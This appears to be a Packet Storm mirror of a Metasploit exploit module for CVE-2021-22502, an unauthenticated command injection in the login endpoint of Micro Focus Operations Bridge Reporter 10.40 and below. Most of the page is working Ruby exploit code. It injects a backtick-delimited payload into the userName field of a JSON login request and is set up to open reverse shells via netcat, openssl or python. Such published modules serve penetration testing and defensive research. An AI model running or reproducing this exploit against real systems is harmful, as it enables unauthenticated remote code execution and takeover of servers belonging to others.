exploit the possibilities

Micro Focus Operations Bridge Reporter Unauthenticated Command Injection

Micro Focus Operations Bridge Reporter Unauthenticated Command Injection
Posted Apr 30, 2021
Authored by Pedro Ribeiro | Site metasploit.com

This Metasploit module exploits a command injection vulnerability on login that affects Micro Focus Operations Bridge Reporter on Linux, versions 10.40 and below. It is a straight up command injection, with little escaping required, and it works before authentication. This module has been tested on the Linux 10.40 version.

tags | exploit
systems | linux
advisories | CVE-2021-22502
MD5 | de81618a686c4953d94e9346e39ba76f

Micro Focus Operations Bridge Reporter Unauthenticated Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Micro Focus Operations Bridge Reporter Unauthenticated Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability on *login* (yes, you read that right)
that affects Micro Focus Operations Bridge Reporter on Linux, versions 10.40 and below.
It's a straight up command injection, with little escaping required and it works before
authentication.
This module has been tested on the Linux 10.40 version. Older versions might be affected,
check the advisory for details.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2021-22502'],
['ZDI', '21-153'],
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md'],
['URL', 'https://softwaresupport.softwaregrp.com/doc/KM03775947']
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' =>
{
'Space' => 1024, # This should be a safe value, it might take much more
'DisableNops' => true,
# avoid null char and the injection char (`)
'BadChars' => "\x00\x60",
'Compat' =>
{
'PayloadType' => 'cmd',
# all of these (and more) should exist in a standard RHEL / SuSE
# ... which are the only two distros supported by Micro Focus OBR
# (telnet doesn't seem to work though)
#
# all reverse shells were tested and work flawlessly
'RequiredCmd' => 'netcat openssl generic python'
}
},
'Targets' =>
[
[ 'Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2021-02-09'
)
)

register_options(
[
# normal (no SSL) port is 21411
Opt::RPORT(21412),
OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
OptString.new('TARGETURI', [true, 'Application path', '/'])
]
)
end

def check
res = send_request_raw({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], '/AdminService/urest/v1/LogonResource'),
'headers' => { 'Content-Type' => 'application/json' },
'data' => rand_text_alpha(10..64)
}, 10)

if res && res.code == 400 && res.body.include?('Unrecognized token')
# should return a stack trace like
# Unrecognized token '#{data}': was expecting ('true', 'false' or 'null')
# at [Source: org.glassfish.jersey.message.internal.ReaderInterceptorExecutor$UnC (...)
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Unknown
end

def exploit
# if there are any 0x22 (") chars in the encoded payload, escape them with a backslash
# we have to do this manually, the encoder is not smart enough to do it, and it will
# fail if we put 0x22 as a bad char above
payload_enc = payload.encoded.gsub('"', '\\"')

# we use 0x60 (`) for injection, but there are lots of other possibilities
data = "{\"userName\":\"#{rand_text_alpha(1..16)}`#{payload_enc}`\",\"credential\":\"#{rand_text_alpha(8..20)}\"}"

send_request_raw({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], '/AdminService/urest/v1/LogonResource'),
'headers' => { 'Content-Type' => 'application/json' },
'data' => data
}, 0)

# it's tricky to check the return value of the request here
# - it might hang (no return) and give us a shell
# - it might return 400 or 500 and give us a shell
# - it might return 400 or 500 and give us nothing
# so ignore it altogether and hope for the best
print_status("#{peer} - Payload sent, now wait for Shelly, if she doesn't arrive try again!")
end
end
Login or Register to add favorites

File Archive:

September 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    14 Files
  • 2
    Sep 2nd
    19 Files
  • 3
    Sep 3rd
    9 Files
  • 4
    Sep 4th
    1 Files
  • 5
    Sep 5th
    2 Files
  • 6
    Sep 6th
    3 Files
  • 7
    Sep 7th
    12 Files
  • 8
    Sep 8th
    22 Files
  • 9
    Sep 9th
    17 Files
  • 10
    Sep 10th
    19 Files
  • 11
    Sep 11th
    3 Files
  • 12
    Sep 12th
    2 Files
  • 13
    Sep 13th
    15 Files
  • 14
    Sep 14th
    16 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    7 Files
  • 17
    Sep 17th
    13 Files
  • 18
    Sep 18th
    2 Files
  • 19
    Sep 19th
    2 Files
  • 20
    Sep 20th
    14 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    28 Files
  • 23
    Sep 23rd
    13 Files
  • 24
    Sep 24th
    10 Files
  • 25
    Sep 25th
    1 Files
  • 26
    Sep 26th
    1 Files
  • 27
    Sep 27th
    20 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close